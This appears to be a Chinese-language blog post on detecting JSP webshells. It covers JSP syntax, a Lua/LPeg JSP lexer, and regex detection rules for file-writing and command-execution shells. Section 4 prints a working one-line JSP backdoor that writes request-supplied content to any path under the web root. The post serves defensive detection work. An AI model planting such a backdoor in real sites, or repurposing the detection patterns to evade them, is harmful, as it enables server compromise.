catalogue
1. JSP基礎語法 2. JSP Lexer By Lua 3. Open Source Code Analyzers in Java 4. WEBSHELL Samples 5. shell樣本特徵提取
1. JSP基礎語法
0x1: 指令碼程式
指令碼程式可以包含任意量的Java語句、變數、方法或表示式,只要它們在指令碼語言中是有效的
指令碼程式的語法格式: <% 程式碼片段 %> 或者可以編寫與其等價的XML語句 <jsp:scriptlet> 程式碼片段 </jsp:scriptlet>
任何文字、HTML標籤、JSP元素必須寫在指令碼程式的外面
<html> <head><title>Hello World</title></head> <body> Hello World!<br/> <% out.println("Your IP address is " + request.getRemoteAddr()); %> </body> </html>
0x2: JSP宣告
一個宣告語句可以宣告一個或多個變數、方法,供後面的Java程式碼使用。在JSP檔案中,您必須先宣告這些變數和方法然後才能使用它們
JSP宣告的語法格式
<%! declaration; [ declaration; ]+ ... %> 或者也可以編寫與其等價的XML語句 <jsp:declaration> 程式碼片段 </jsp:declaration>
程式示例
<%! int i = 0; %> <%! int a, b, c; %> <%! Circle a = new Circle(2.0); %>
0x3: JSP表示式
1. 一個JSP表示式中包含的指令碼語言表示式,先被轉化成String,然後插入到表示式出現的地方 2. 由於表示式的值會被轉化成String,所以您可以在一個文字行中使用表示式而不用去管它是否是HTML標籤 3. 表示式元素中可以包含任何符合Java語言規範的表示式,但是不能使用分號來結束表示式
JSP表示式的語法格式
<%= 表示式 %> 同樣也可以編寫與之等價的XML語句 <jsp:expression> 表示式 </jsp:expression>
程式示例
<html> <head><title>A Comment Test</title></head> <body> <p> Today's date: <%= (new java.util.Date()).toLocaleString()%> </p> </body> </html>
0x4: JSP註釋
JSP註釋主要有兩個作用: 為程式碼作註釋、以及將某段程式碼註釋掉
1. HTML註釋
<!-- comment [ <%= expression %> ] -->
示例
<!-- This file displays the user login screen --> 在客戶端的HTML原始碼中產生和上面一樣的資料: <!-- This file displays the user login screen --> <!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->
2. 隱藏註釋
寫在JSP程式中,但不是發給客戶
<%-- 這裡可以填寫 JSP 註釋 --%>
JSP編譯器是不會對<%-- ... --%>之間的語句進行編譯的,它不會顯示在客戶的瀏覽器中,也不會在原始碼中看到在<%-- --%>之間的程式碼,你可以任意寫註釋語句,但是不能使用"--%>",如果你非要使用請用"--%\>"
<html> <head><title>A Comment Test</title></head> <body> <h2>A Test of Comments</h2> <%-- 該部分註釋在網頁中不會被顯示--%> </body> </html>
0x5: JSP指令
JSP指令用來設定與整個JSP頁面相關的屬性
JSP指令語法格式
<%@ directive attribute="value" %> 這裡有三種指令標籤 1. <%@ page ... %>: 定義頁面的依賴屬性,比如指令碼語言、error頁面、快取需求等等 2. <%@ include ... %>: 包含其他檔案 <%@ taglib ... %>: 引入標籤庫的定義,可以是自定義標籤
0x6: JSP行為
JSP行為標籤使用XML語法結構來控制servlet引擎。它能夠動態插入一個檔案,重用JavaBean元件,引導使用者去另一個頁面,為Java外掛產生相關的HTML等等
行為標籤只有一種語法格式,它嚴格遵守XML標準
<jsp:action_name attribute="value" />
0x7: JSP隱含物件
JSP支援九個自動定義的變數,稱為隱含物件
1. request: HttpServletRequest類的例項 2. response: HttpServletResponse類的例項 3. out: PrintWriter類的例項,用於把結果輸出至網頁上 4. session: HttpSession類的例項 5. application: ServletContext類的例項,與應用上下文有關 6. config: ServletConfig類的例項 7. pageContext: PageContext類的例項,提供對JSP頁面所有物件以及名稱空間的訪問 8. page: 類似於Java類中的this關鍵字 9. Exception: Exception類的物件,代表發生錯誤的JSP頁面中對應的異常物件
0x8: JSP常量
JSP語言定義了以下幾個常量
1. Boolean: true and false 2. Integer: 與Java中的一樣 3. Floating point: 與Java中的一樣 4. String: 以單引號或雙引號開始和結束。" 被轉義成 \",'被轉義成 \', \ 被轉義成\\ 5. Null: null
Relevant Link:
http://www.runoob.com/jsp/jsp-syntax.html http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448
2. JSP Lexer By Lua
0x1: Lexer Basics
The *lexers/* directory contains all lexers, including your new one. Before attempting to write one from scratch though, first determine if your programming language is similar to any of the 80+ languages supported. If so, you may be able to copy and modify that lexer, saving some time and effort.
The filename of your lexer should be the name of your programming language in lower case followed by a *.lua* extension. For example, a new Lua lexer has the name *lua.lua*.
Note: Try to refrain from using one-character language names like "b", "c", or "d". For example, Scintillua uses "b_lang", "cpp", and "dmd", respectively.
0x2: New Lexer Template
myLanguage LPeg lexer. local l = require('lexer') local token, word_match = l.token, l.word_match local P, R, S = lpeg.P, lpeg.R, lpeg.S local M = {_NAME = '?'} Whitespace. local ws = token(l.WHITESPACE, l.space^1) M._rules = { {'whitespace', ws}, } M._tokenstyles = { -- } -- return M
0x3: Tokens
Take a moment to think about your programming language's structure. What kind of key elements does it have? In the template shown earlier, one predefined element all languages have is whitespace.
Your language probably also has elements like comments, strings, and keywords. Lexers refer to these elements as "tokens". Tokens are the fundamental "building blocks"(基礎元素) of lexers.
Lexers break down source code into tokens for coloring, which results in the syntax highlighting familiar to you. It is up to you how specific your lexer is when it comes to tokens. Perhaps only distinguishing between keywords and identifiers is necessary, or maybe recognizing constants、built-in functions、methods、libraries is desirable.
The Lua lexer, for example, defines 11 tokens:
1. whitespace 2. comments 3. strings 4. numbers 5. keywords 6. built-in functions 7. constants 8. built-in libraries 9. identifiers: Even though constants, built-in functions, and built-in libraries are subsets of identifiers 10. labels 11. operators.
In a lexer, tokens consist of a token name and an LPeg pattern that matches a sequence of characters recognized as an instance of that token(在GNU Lex中也是採用正則語法進行詞法描述). Create tokens
using the [`lexer.token()`]() function. Let us examine the "whitespace" token defined in the template shown earlier:
local ws = token(l.WHITESPACE, l.space^1)
The `lexer` (`l`) module actually provides a convenient list of common token names and common LPeg patterns for you to use. Token names include
[`lexer.DEFAULT`](), [`lexer.WHITESPACE`](), [`lexer.COMMENT`](), [`lexer.STRING`](), [`lexer.NUMBER`](), [`lexer.KEYWORD`](), [`lexer.IDENTIFIER`](), [`lexer.OPERATOR`](), [`lexer.ERROR`](), [`lexer.PREPROCESSOR`](), [`lexer.CONSTANT`](), [`lexer.VARIABLE`](), [`lexer.FUNCTION`](), [`lexer.CLASS`](), [`lexer.TYPE`](), [`lexer.LABEL`](), [`lexer.REGEX`](), [`lexer.EMBEDDED`](). Patterns include [`lexer.any`](), [`lexer.ascii`](), [`lexer.extend`](), [`lexer.alpha`](), [`lexer.digit`](), [`lexer.alnum`](), [`lexer.lower`](), [`lexer.upper`](), [`lexer.xdigit`](), [`lexer.cntrl`](), [`lexer.graph`](), [`lexer.print`](), [`lexer.punct`](), [`lexer.space`](), [`lexer.newline`](), [`lexer.nonnewline`](), [`lexer.nonnewline_esc`](), [`lexer.dec_num`](), [`lexer.hex_num`](), [`lexer.oct_num`](), [`lexer.integer`](), [`lexer.float`](), [`lexer.word`]().
So, how might you define other tokens like comments, strings, and keywords? Here are some examples
1. Comments
Line-style comments with a prefix character(s) are easy to express with LPeg
local shell_comment = token(l.COMMENT, '#' * l.nonnewline^0) local c_line_comment = token(l.COMMENT, '//' * l.nonnewline_esc^0)
C-style "block" comments with a start and end delimiter are also easy to express:
local c_comment = token(l.COMMENT, '/*' * (l.any - '*/')^0 * P('*/')^-1)
2. Strings
local dq_str = '"' * (l.any - '"')^0 * P('"')^-1 local sq_str = "'" * (l.any - "'")^0 * P("'")^-1 local simple_string = token(l.STRING, dq_str + sq_str)
3. Keywords
local keyword = token(l.KEYWORD, l.word_match{ 'keyword_1', 'keyword_2', ..., 'keyword_n' }) local case_insensitive_keyword = token(l.KEYWORD, l.word_match({ 'KEYWORD_1', 'keyword_2', ..., 'KEYword_n' }, nil, true)) local hyphened_keyword = token(l.KEYWORD, l.word_match({ 'keyword-1', 'keyword-2', ..., 'keyword-n' }, '-'))
0x4: 定界標籤
1. Declaration tag
定義函式、方法、變數
<%! %> <%! private int example = 0 ; private int test = 5 ; %> <jsp:declaration> </jsp:declaration> <jsp:declaration> private int example = 0 ; private int test = 5 ; </jsp:declaration>
2. Expression tag
<%= 表示式 %> <%= (new java.util.Date()).toLocaleString() %> <jsp:expression> </jsp:expression> <jsp:expression> (new java.util.Date()).toLocaleString() </jsp:expression>
3. Code tag
<% 程式碼片段 %> <% out.println("Your IP address is " + request.getRemoteAddr()); %> <jsp:scriptlet> out.println("Your IP address is " + request.getRemoteAddr()); </jsp:scriptlet>
0x5: lexer/media/lexers/jsp.lua
local l = require('lexer') local token, word_match = l.token, l.word_match local P, R, S = lpeg.P, lpeg.R, lpeg.S local M = {_NAME = 'jsp'} -- Embedded in HTML. local html = l.load('html') -- Embedded Java. local java = l.load('java') local java_start_rule = token('jsp_tag', '<%' * P('=')^-1) local java_end_rule = token('jsp_tag', '%>') l.embed_lexer(html, java, java_start_rule, java_end_rule, true) M._tokenstyles = { jsp_tag = l.STYLE_EMBEDDED } local _foldsymbols = html._foldsymbols _foldsymbols._patterns[#_foldsymbols._patterns + 1] = '<%%' _foldsymbols._patterns[#_foldsymbols._patterns + 1] = '%%>' _foldsymbols.jsp_tag = {['<%'] = 1, ['%>'] = -1} M._foldsymbols = _foldsymbols return M
Relevant Link:
https://github.com/luapower/lexer/blob/master/lexer.lua http://www.exforsys.com/tutorials/jsp/jsp-tags.html https://github.com/luapower/lexer/blob/master/media/lexers/jsp.lua https://github.com/luapower/lexer/blob/master/media/lexers/html.lua https://github.com/luapower/lexer/blob/master/media/lexers/java.lua
3. Open Source Code Analyzers in Java
Relevant Link:
http://java-source.net/open-source/code-analyzers https://pmd.github.io/ http://pmd.sourceforge.net/pmd-4.3.0/rules/basic-jsp.html http://foicica.com/scintillua/api.html#lexer
4. WEBSHELL Samples
0x1: 寫檔案
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
Relevant Link:
http://www.2cto.com/Article/201503/378649.html http://www.blogjava.net/lusm/archive/2007/02/21/100295.html http://dingody.iteye.com/blog/2003882 http://blog.kukafei520.net/html/2010/444.html http://www.125135.com/491711.html http://www.125135.com/317079.htm http://www.125135.com/317770.htm
5. shell樣本特徵提取
相比於PHP、ASP WEBSHELL,java的語法變化集相對較小,故無法構造一句話WEBSHELL,而只能編寫"功能齊備的大馬",包括
1. 檔案管理 2. DB管理 3. 網路連線 4. 程式管理 5. 指令執行 6. 外部引數獲取
0x1: 檔案管理
1. 檔案新建: createNewFile //common language structure application.getRealPath(" new File( 2. 檔案刪除 delete() 3. 寫檔案 new FileOutputStream( new BufferedOutputStream( 4. 讀檔案 new FileInputStream( new BufferedInputStream( 5. 列目錄 listFiles(
規則
<RuleList> <id></id> <Name>檔案管理WEBSHELL</Name> <Rule><Type>1</Type><Dir>2</Dir><Data>.*FileOutputStream\(.*request\.getParameter</Data></Rule> </RuleList>
0x2: DB管理
1. 資料庫連線字串 newInstance(); com.mysql.jdbc.Driver org.gjt.mm.mysql.Driver com.sybase.jdbc2.jdbc.SybDriver com.microsoft.jdbc.sqlserver.SQLServerDriver com.mysql.jdbc.Driver oracle.jdbc.driver.OracleDriver com.ibm.db2.jdbc.app.DB2Driver org.postgresql.Driver 2. 連線資料庫 DriverManager.getConnection( .createStatement( 3. 執行SQL executeQuery(
0x3: 網路連線(埠掃描)
0x4: 程式管理(指令執行)
0x5: 指令執行
<RuleList> <id></id> <Name>指令執行WEBSHELL</Name> <Rule><Type>2</Type><Dir>2</Dir><Data>Runtime.getRuntime()</Data></Rule> <Rule><Type>1</Type><Dir>2</Dir><Data>.*\.exec\(.*request\.getParameter</Data></Rule> </RuleList> <RuleList> <id></id> <Name>指令執行WEBSHELL(引數傳遞)</Name> <Rule><Type>1</Type><Dir>2</Dir><Data>([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*request.getParameter\(.*\.exec\(("|')cmd.*\1</Data></Rule> </RuleList> <RuleList> <id></id> <Name>可疑指令執行WEBSHELL</Name> <Rule><Type>2</Type><Dir>2</Dir><Data>Runtime.getRuntime().exec(</Data></Rule> </RuleList> <RuleList> <id></id> <Name>可疑指令執行WEBSHELL</Name> <Rule><Type>2</Type><Data>Runtime.getRuntime()</Data></Rule> <Rule><Type>2</Type><Data>.exec(</Data></Rule> </RuleList> <RuleList> <id></id> <Name>指令執行WEBSHELL(ProcessBuilder引數傳遞)</Name> <Rule><Type>1</Type><Dir>2</Dir><Data>([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*request.getParameter\(.*ProcessBuilder\(.*\1</Data></Rule> </RuleList> <RuleList> <id></id> <Name>執行exec</Name> <Rule><Type>2</Type><Dir>2</Dir><Data>ExeShellResultshellResult=newExeShellResult();</Data></Rule> <Rule><Type>2</Type><Dir>2</Dir><Data>ExeShellCmd.exec(</Data></Rule> </RuleList>
0x6: 外部引數獲取
Relevant Link:
http://blog.csdn.net/lotheve/article/details/49947119 http://developer.51cto.com/art/200907/133027.htm http://zy.swust.net.cn/02/1/dtwysj/c6.htm#Stop8 http://www.krshadow.com/html/tech/201103/17088.html
Copyright (c) 2016 LittleHann All rights reserved